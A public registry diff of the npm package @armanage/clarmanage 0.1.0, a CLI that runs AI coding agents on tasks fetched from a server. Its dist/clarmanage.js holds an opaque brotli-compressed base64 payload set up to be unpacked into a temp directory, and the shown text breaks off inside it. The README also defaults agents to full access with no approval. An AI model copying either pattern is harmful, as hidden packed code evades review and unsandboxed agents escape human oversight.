@armanage/clarmanage 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.env.example +19 -0
- package/README.md +138 -0
- package/dist/clarmanage.js +77 -0
- package/dist/mockServer.js +76 -0
- package/package.json +46 -0
package/.env.example
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
# Optional. Defaults to the production API when omitted.
|
|
2
|
+
# SERVER_BASE_URL=https://armanage.com
|
|
3
|
+
# Use localhost for local development:
|
|
4
|
+
SERVER_BASE_URL=http://localhost:3000
|
|
5
|
+
CODEX_AGENT_TOKEN=mock-codex-agent-token
|
|
6
|
+
CODEX_API_KEY=
|
|
7
|
+
# OPENAI_API_KEY= # alternative to CODEX_API_KEY
|
|
8
|
+
# CODEX_BASE_URL=
|
|
9
|
+
# CODEX_MODEL=
|
|
10
|
+
# CODEX_WORKING_DIRECTORY=
|
|
11
|
+
CODEX_SKIP_GIT_REPO_CHECK=true
|
|
12
|
+
USE_MOCK_CODEX_EXECUTOR=false
|
|
13
|
+
POLL_INTERVAL_MS=2000
|
|
14
|
+
MAX_BACKOFF_MS=30000
|
|
15
|
+
REQUEST_TIMEOUT_MS=15000
|
|
16
|
+
MOCK_SERVER_PORT=3000
|
|
17
|
+
MOCK_CODEX_AGENT_TOKEN=mock-codex-agent-token
|
|
18
|
+
MOCK_TASK_PROMPT=Write a one-line hello from the mock task.
|
|
19
|
+
MOCK_TASK_CONTEXT=Created by mockServer.ts
|
package/README.md
ADDED
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
# Clarmanage — Local AI Agent Runner
|
|
2
|
+
|
|
3
|
+
Clarmanage is a lightweight TypeScript CLI that runs on your machine and acts as a bridge between the [Armanage](../README.md) server and AI SDKs. It continuously polls the server for queued tasks, routes each task to the appropriate AI agent (Codex, Claude, Copilot, etc.), streams execution logs back in real time, and reports final results — all without exposing your local environment to the internet.
|
|
4
|
+
|
|
5
|
+
> Implements the architecture described in [`client_prd.md`](./client_prd.md).
|
|
6
|
+
|
|
7
|
+
## What is implemented
|
|
8
|
+
|
|
9
|
+
- Generic `Agent` interface.
|
|
10
|
+
- `AgentRegistry` for modular agent registration.
|
|
11
|
+
- `ClientCore` loop: authenticate -> poll -> execute -> stream logs -> mark completed/failed.
|
|
12
|
+
- `CodexAgent` implementation (Phase 1 target) using real `@openai/codex-sdk`.
|
|
13
|
+
- HTTP integration with Rails-style endpoints from the PRD.
|
|
14
|
+
- Exponential backoff when no tasks are available.
|
|
15
|
+
- Parallel task processing across configured agents.
|
|
16
|
+
|
|
17
|
+
## Install from npm
|
|
18
|
+
|
|
19
|
+
Install globally to get the `clarmanage` executable on your `PATH`:
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
npm install -g @armanage/clarmanage
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
Or run it without a global install:
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
npx @armanage/clarmanage
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Agent tokens are stored in `~/.clarmanage/agents.json`.
|
|
32
|
+
|
|
33
|
+
If `SERVER_BASE_URL` is omitted, the client falls back to `https://armanage.com`. Other runtime env vars also have built-in defaults, so you only need to override what you actually use.
|
|
34
|
+
|
|
35
|
+
## Local development
|
|
36
|
+
|
|
37
|
+
1. Install dependencies:
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
npm install
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
2. Configure environment variables (or put them in `.env`):
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
export SERVER_BASE_URL="http://localhost:3000"
|
|
47
|
+
export CODEX_API_KEY="your-codex-or-openai-api-key"
|
|
48
|
+
export CODEX_YOLO_MODE="true"
|
|
49
|
+
# Optional when CODEX_YOLO_MODE=false:
|
|
50
|
+
# export CODEX_SANDBOX_MODE="workspace-write"
|
|
51
|
+
# export CODEX_APPROVAL_POLICY="on-request"
|
|
52
|
+
export CODEX_SKIP_GIT_REPO_CHECK="true"
|
|
53
|
+
export USE_MOCK_CODEX_EXECUTOR="false"
|
|
54
|
+
export POLL_INTERVAL_MS="2000"
|
|
55
|
+
export MAX_BACKOFF_MS="30000"
|
|
56
|
+
export REQUEST_TIMEOUT_MS="15000"
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
If you skip these variables entirely, the client uses defaults such as `SERVER_BASE_URL=https://armanage.com`, `CODEX_YOLO_MODE=true`, `GEMINI_MODEL=gemini-2.5-flash`, `POLL_INTERVAL_MS=2000`, `MAX_BACKOFF_MS=30000`, and `REQUEST_TIMEOUT_MS=15000`.
|
|
60
|
+
|
|
61
|
+
3. Add one or more agents:
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
npm run dev -- agent add
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
4. Run in development mode:
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
npm run dev
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
5. Or build and run:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
npm run build
|
|
77
|
+
npm start
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## Run with Mock Server
|
|
81
|
+
|
|
82
|
+
1. Start mock server in terminal 1:
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
npm run dev:server
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
2. Set client env in terminal 2:
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
export SERVER_BASE_URL="http://localhost:3000"
|
|
92
|
+
export CODEX_API_KEY="your-codex-or-openai-api-key"
|
|
93
|
+
export USE_MOCK_CODEX_EXECUTOR="false"
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
If `MOCK_SERVER_PORT` is set to a different value in `.env`, use that same port in `SERVER_BASE_URL`.
|
|
97
|
+
|
|
98
|
+
3. Add mock token as an agent:
|
|
99
|
+
|
|
100
|
+
```bash
|
|
101
|
+
npm run dev -- agent add
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
4. Run client:
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
npm run dev
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
5. Inspect mock state:
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
curl http://localhost:3000/api/v1/debug/state
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
## Expected task payload for CodexAgent
|
|
117
|
+
|
|
118
|
+
`CodexAgent` expects this minimal payload shape:
|
|
119
|
+
|
|
120
|
+
```json
|
|
121
|
+
{
|
|
122
|
+
"prompt": "Write a concise summary of this ticket",
|
|
123
|
+
"context": "Optional extra context"
|
|
124
|
+
}
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
## Notes
|
|
128
|
+
|
|
129
|
+
- `RealCodexExecutor` (in `src/codexExecutor.ts`) streams Codex SDK events and reports them as task logs.
|
|
130
|
+
- By default the client runs Codex in YOLO mode (`CODEX_YOLO_MODE=true`), which maps to `sandbox=danger-full-access` and `approval_policy=never`.
|
|
131
|
+
- Set `CODEX_YOLO_MODE=false` to use explicit `CODEX_SANDBOX_MODE` / `CODEX_APPROVAL_POLICY` values.
|
|
132
|
+
- Runtime emits compact task info logs to `stdout` (including reasoning/todo summaries from streamed Codex events).
|
|
133
|
+
- Set `USE_MOCK_CODEX_EXECUTOR=true` if you want a fully local run without calling the real Codex API.
|
|
134
|
+
- `src/mockServer.ts` seeds one simple codex agent and one queued codex task in memory.
|
|
135
|
+
- `.env` and `.env.local` are auto-loaded by both client and mock server entrypoints.
|
|
136
|
+
- Agent tokens are stored in `~/.clarmanage/agents.json`.
|
|
137
|
+
- CLI commands: `clarmanage`, `clarmanage agent add`, `clarmanage agent remove`, `clarmanage agent list`.
|
|
138
|
+
- Task completion now prefers moving to the next board column after development (for example `review`/`qa`) instead of jumping directly to `done`; if agent output includes `NEXT_STATUS`, that value is used.
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { existsSync } from "node:fs";
|
|
3
|
+
import { mkdtemp, rm, symlink, writeFile } from "node:fs/promises";
|
|
4
|
+
import { createRequire } from "node:module";
|
|
5
|
+
import os from "node:os";
|
|
6
|
+
import path from "node:path";
|
|
7
|
+
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
8
|
+
import { brotliDecompressSync } from "node:zlib";
|
|
9
|
+
|
|
10
|
+
const PAYLOAD = ["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